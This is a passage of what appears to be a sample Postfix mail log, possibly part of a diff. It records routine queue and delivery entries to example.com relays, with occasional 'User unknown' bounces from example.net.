<4452036566@mail.example.com>: from=, size=8042, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <4452036566@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.79, delays=0.30/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: <1333102560@mail.example.com>: from=, size=5855, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <1333102560@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.02, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: <4946711376@mail.example.com>: from=, size=7998, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <4946711376@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.15, delays=0.36/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: <3407877538@mail.example.com>: from=, size=6118, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <3407877538@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.49, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: <4444334862@mail.example.com>: from=, size=3876, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <4444334862@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.82, delays=0.08/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: <6151352907@mail.example.com>: from=, size=3218, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <6151352907@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.31, delays=0.27/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: <8975105597@mail.example.com>: from=, size=3415, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <8975105597@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.81, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: <9573427178@mail.example.com>: from=, size=5002, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <9573427178@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.86, delays=0.17/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:05 mailserver postfix/qmgr[1234]: <7520748444@mail.example.com>: from=, size=1255, nrcpt=1 (queue active) +Jul 02 12:05:05 mailserver postfix/smtp[5678]: <7520748444@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.98, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <4892755578@mail.example.com>: from=, size=3475, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <4892755578@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.50, delays=0.43/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <1733513928@mail.example.com>: from=, size=4144, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <1733513928@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.13, delays=0.14/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <8164595091@mail.example.com>: from=, size=3482, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <8164595091@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.60, delays=0.16/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <3729427168@mail.example.com>: from=, size=5279, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <3729427168@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.56, delays=0.03/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <1483021290@mail.example.com>: from=, size=4084, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <1483021290@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.38, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <6758086442@mail.example.com>: from=, size=3095, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <6758086442@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.85, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <1998359307@mail.example.com>: from=, size=5932, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <1998359307@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.61, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <2880990892@mail.example.com>: from=, size=5177, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <2880990892@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.30, delays=0.18/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <6132942076@mail.example.com>: from=, size=4127, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <6132942076@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.15, delays=0.14/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <5330218441@mail.example.com>: from=, size=2522, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <5330218441@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.17, delays=0.13/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <7203886486@mail.example.com>: from=, size=5529, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <7203886486@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.92, delays=0.19/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/qmgr[1234]: <9440695846@mail.example.com>: from=, size=5170, nrcpt=1 (queue active) +Jul 02 12:05:10 mailserver postfix/smtp[5678]: <9440695846@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.98, delays=0.25/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:10 mailserver postfix/smtp[5679]: <9440695846@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=0.34, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <3006378976@mail.example.com>: from=, size=6380, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <3006378976@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.58, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <6170206373@mail.example.com>: from=, size=1561, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <6170206373@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.95, delays=0.29/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <6636855190@mail.example.com>: from=, size=6724, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <6636855190@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.70, delays=0.28/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <9100501926@mail.example.com>: from=, size=4075, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <9100501926@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.92, delays=0.01/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <5402706634@mail.example.com>: from=, size=7662, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <5402706634@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.93, delays=0.31/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <1843765346@mail.example.com>: from=, size=2681, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <1843765346@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.44, delays=0.44/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <3540501773@mail.example.com>: from=, size=1687, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <3540501773@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.40, delays=0.46/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <5191126849@mail.example.com>: from=, size=5798, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <5191126849@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.32, delays=0.18/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <8449441827@mail.example.com>: from=, size=7273, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <8449441827@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.81, delays=0.49/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <4089782113@mail.example.com>: from=, size=7907, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <4089782113@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.49, delays=0.29/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <5104776167@mail.example.com>: from=, size=7690, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <5104776167@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.85, delays=0.15/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <4141525637@mail.example.com>: from=, size=3141, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <4141525637@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.51, delays=0.41/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:15 mailserver postfix/qmgr[1234]: <5571094131@mail.example.com>: from=, size=3412, nrcpt=1 (queue active) +Jul 02 12:05:15 mailserver postfix/smtp[5678]: <5571094131@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.03, delays=0.31/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:20 mailserver postfix/qmgr[1234]: <7669948248@mail.example.com>: from=, size=5514, nrcpt=1 (queue active) +Jul 02 12:05:20 mailserver postfix/smtp[5678]: <7669948248@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.74, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:20 mailserver postfix/qmgr[1234]: <5375767779@mail.example.com>: from=, size=5148, nrcpt=1 (queue active) +Jul 02 12:05:20 mailserver postfix/smtp[5678]: <5375767779@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.06, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:20 mailserver postfix/qmgr[1234]: <2942740570@mail.example.com>: from=, size=5425, nrcpt=1 (queue active) +Jul 02 12:05:20 mailserver postfix/smtp[5678]: <2942740570@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.45, delays=0.08/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:20 mailserver postfix/qmgr[1234]: <2972594931@mail.example.com>: from=, size=7887, nrcpt=1 (queue active) +Jul 02 12:05:20 mailserver postfix/smtp[5678]: <2972594931@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.86, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:20 mailserver postfix/qmgr[1234]: <7555246949@mail.example.com>: from=, size=4443, nrcpt=1 (queue active) +Jul 02 12:05:20 mailserver postfix/smtp[5678]: <7555246949@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.44, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:20 mailserver postfix/qmgr[1234]: <9854791376@mail.example.com>: from=, size=5740, nrcpt=1 (queue active) +Jul 02 12:05:20 mailserver postfix/smtp[5678]: <9854791376@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.10, delays=0.05/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:20 mailserver postfix/qmgr[1234]: <5406555399@mail.example.com>: from=, size=2666, nrcpt=1 (queue active) +Jul 02 12:05:20 mailserver postfix/smtp[5678]: <5406555399@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.80, delays=0.38/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:25 mailserver postfix/qmgr[1234]: <8634646577@mail.example.com>: from=, size=4526, nrcpt=1 (queue active) +Jul 02 12:05:25 mailserver postfix/smtp[5678]: <8634646577@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.26, delays=0.27/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:25 mailserver postfix/qmgr[1234]: <9005040986@mail.example.com>: from=, size=4487, nrcpt=1 (queue active) +Jul 02 12:05:25 mailserver postfix/smtp[5678]: <9005040986@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.04, delays=0.33/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:25 mailserver postfix/qmgr[1234]: <3414736690@mail.example.com>: from=, size=7567, nrcpt=1 (queue active) +Jul 02 12:05:25 mailserver postfix/smtp[5678]: <3414736690@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.09, delays=0.04/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:25 mailserver postfix/qmgr[1234]: <1874111667@mail.example.com>: from=, size=7347, nrcpt=1 (queue active) +Jul 02 12:05:25 mailserver postfix/smtp[5678]: <1874111667@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.58, delays=0.36/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:25 mailserver postfix/qmgr[1234]: <1980624555@mail.example.com>: from=, size=7071, nrcpt=1 (queue active) +Jul 02 12:05:25 mailserver postfix/smtp[5678]: <1980624555@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.61, delays=0.11/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:30 mailserver postfix/qmgr[1234]: <7482742452@mail.example.com>: from=, size=4803, nrcpt=1 (queue active) +Jul 02 12:05:30 mailserver postfix/smtp[5678]: <7482742452@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.10, delays=0.16/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:30 mailserver postfix/qmgr[1234]: <6516982144@mail.example.com>: from=, size=5431, nrcpt=1 (queue active) +Jul 02 12:05:30 mailserver postfix/smtp[5678]: <6516982144@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.95, delays=0.44/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:30 mailserver postfix/qmgr[1234]: <6435414194@mail.example.com>: from=, size=6750, nrcpt=1 (queue active) +Jul 02 12:05:30 mailserver postfix/smtp[5678]: <6435414194@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.98, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:30 mailserver postfix/qmgr[1234]: <6453528374@mail.example.com>: from=, size=4722, nrcpt=1 (queue active) +Jul 02 12:05:30 mailserver postfix/smtp[5678]: <6453528374@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.34, delays=0.30/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:30 mailserver postfix/qmgr[1234]: <2814211971@mail.example.com>: from=, size=4042, nrcpt=1 (queue active) +Jul 02 12:05:30 mailserver postfix/smtp[5678]: <2814211971@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.34, delays=0.14/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:30 mailserver postfix/qmgr[1234]: <3144473434@mail.example.com>: from=, size=6395, nrcpt=1 (queue active) +Jul 02 12:05:30 mailserver postfix/smtp[5678]: <3144473434@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.74, delays=0.04/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:30 mailserver postfix/smtp[5679]: <3144473434@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=1.53, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:05:35 mailserver postfix/qmgr[1234]: <5931312115@mail.example.com>: from=, size=3016, nrcpt=1 (queue active) +Jul 02 12:05:35 mailserver postfix/smtp[5678]: <5931312115@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.43, delays=0.08/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:35 mailserver postfix/qmgr[1234]: <6784936257@mail.example.com>: from=, size=4702, nrcpt=1 (queue active) +Jul 02 12:05:35 mailserver postfix/smtp[5678]: <6784936257@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.48, delays=0.24/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:35 mailserver postfix/qmgr[1234]: <4936422521@mail.example.com>: from=, size=7357, nrcpt=1 (queue active) +Jul 02 12:05:35 mailserver postfix/smtp[5678]: <4936422521@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.97, delays=0.21/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:35 mailserver postfix/qmgr[1234]: <8810764062@mail.example.com>: from=, size=5977, nrcpt=1 (queue active) +Jul 02 12:05:35 mailserver postfix/smtp[5678]: <8810764062@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.86, delays=0.26/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:35 mailserver postfix/qmgr[1234]: <1623912358@mail.example.com>: from=, size=7174, nrcpt=1 (queue active) +Jul 02 12:05:35 mailserver postfix/smtp[5678]: <1623912358@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.81, delays=0.22/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:35 mailserver postfix/qmgr[1234]: <7415409182@mail.example.com>: from=, size=6759, nrcpt=1 (queue active) +Jul 02 12:05:35 mailserver postfix/smtp[5678]: <7415409182@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.30, delays=0.18/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:35 mailserver postfix/qmgr[1234]: <9859044557@mail.example.com>: from=, size=3156, nrcpt=1 (queue active) +Jul 02 12:05:35 mailserver postfix/smtp[5678]: <9859044557@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.76, delays=0.31/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:35 mailserver postfix/qmgr[1234]: <2029651533@mail.example.com>: from=, size=6407, nrcpt=1 (queue active) +Jul 02 12:05:35 mailserver postfix/smtp[5678]: <2029651533@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.83, delays=0.17/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:40 mailserver postfix/qmgr[1234]: <9767110708@mail.example.com>: from=, size=5372, nrcpt=1 (queue active) +Jul 02 12:05:40 mailserver postfix/smtp[5678]: <9767110708@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.93, delays=0.20/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:40 mailserver postfix/qmgr[1234]: <3931546451@mail.example.com>: from=, size=2090, nrcpt=1 (queue active) +Jul 02 12:05:40 mailserver postfix/smtp[5678]: <3931546451@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.64, delays=0.20/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:40 mailserver postfix/qmgr[1234]: <3704019878@mail.example.com>: from=, size=6431, nrcpt=1 (queue active) +Jul 02 12:05:40 mailserver postfix/smtp[5678]: <3704019878@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.99, delays=0.04/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:40 mailserver postfix/qmgr[1234]: <3442232833@mail.example.com>: from=, size=2873, nrcpt=1 (queue active) +Jul 02 12:05:40 mailserver postfix/smtp[5678]: <3442232833@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.41, delays=0.10/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:40 mailserver postfix/qmgr[1234]: <3732484519@mail.example.com>: from=, size=3381, nrcpt=1 (queue active) +Jul 02 12:05:40 mailserver postfix/smtp[5678]: <3732484519@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.22, delays=0.32/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:40 mailserver postfix/smtp[5679]: <3732484519@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=0.83, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:05:45 mailserver postfix/qmgr[1234]: <5623638947@mail.example.com>: from=, size=7350, nrcpt=1 (queue active) +Jul 02 12:05:45 mailserver postfix/smtp[5678]: <5623638947@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.18, delays=0.09/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:45 mailserver postfix/qmgr[1234]: <6859618525@mail.example.com>: from=, size=5325, nrcpt=1 (queue active) +Jul 02 12:05:45 mailserver postfix/smtp[5678]: <6859618525@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.32, delays=0.05/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:45 mailserver postfix/qmgr[1234]: <2018309661@mail.example.com>: from=, size=4164, nrcpt=1 (queue active) +Jul 02 12:05:45 mailserver postfix/smtp[5678]: <2018309661@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.99, delays=0.20/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:45 mailserver postfix/qmgr[1234]: <5723193118@mail.example.com>: from=, size=2947, nrcpt=1 (queue active) +Jul 02 12:05:45 mailserver postfix/smtp[5678]: <5723193118@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=0.58, delays=0.42/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:45 mailserver postfix/qmgr[1234]: <8301230154@mail.example.com>: from=, size=2269, nrcpt=1 (queue active) +Jul 02 12:05:45 mailserver postfix/smtp[5678]: <8301230154@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.72, delays=0.04/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:45 mailserver postfix/qmgr[1234]: <9713469298@mail.example.com>: from=, size=5718, nrcpt=1 (queue active) +Jul 02 12:05:45 mailserver postfix/smtp[5678]: <9713469298@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.70, delays=0.49/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:45 mailserver postfix/qmgr[1234]: <2146260289@mail.example.com>: from=, size=6134, nrcpt=1 (queue active) +Jul 02 12:05:45 mailserver postfix/smtp[5678]: <2146260289@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.30, delays=0.05/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:45 mailserver postfix/qmgr[1234]: <4550758629@mail.example.com>: from=, size=1566, nrcpt=1 (queue active) +Jul 02 12:05:45 mailserver postfix/smtp[5678]: <4550758629@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.97, delays=0.14/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:45 mailserver postfix/qmgr[1234]: <9854501483@mail.example.com>: from=, size=6744, nrcpt=1 (queue active) +Jul 02 12:05:45 mailserver postfix/smtp[5678]: <9854501483@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.03, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:45 mailserver postfix/smtp[5679]: <9854501483@mail.example.com>: to=, relay=mx.example.net[192.0.2.2]:25, delay=1.24, dsn=5.1.1, status=bounced (host mx.example.net[192.0.2.2] said: 550 5.1.1 : Recipient address rejected: User unknown in virtual mailbox table) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <7356188529@mail.example.com>: from=, size=8185, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <7356188529@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.08, delays=0.17/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <6685449071@mail.example.com>: from=, size=6166, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <6685449071@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.55, delays=0.27/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <6345738323@mail.example.com>: from=, size=4539, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <6345738323@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.61, delays=0.16/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <9987152593@mail.example.com>: from=, size=5122, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <9987152593@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=2.00, delays=0.39/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <9955830933@mail.example.com>: from=, size=4939, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <9955830933@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.39, delays=0.30/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <4940181061@mail.example.com>: from=, size=6561, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <4940181061@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.18, delays=0.06/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <3051465581@mail.example.com>: from=, size=2103, nrcpt=1 (queue active) +Jul 02 12:05:50 mailserver postfix/smtp[5678]: <3051465581@mail.example.com>: to=, relay=mx.example.com[192.0.2.1]:25, delay=1.37, delays=0.37/0/0/0, dsn=2.0.0, status=sent (250 2.0.0 OK) +Jul 02 12:05:50 mailserver postfix/qmgr[1234]: <1529312508@mail.example.com>: from=, 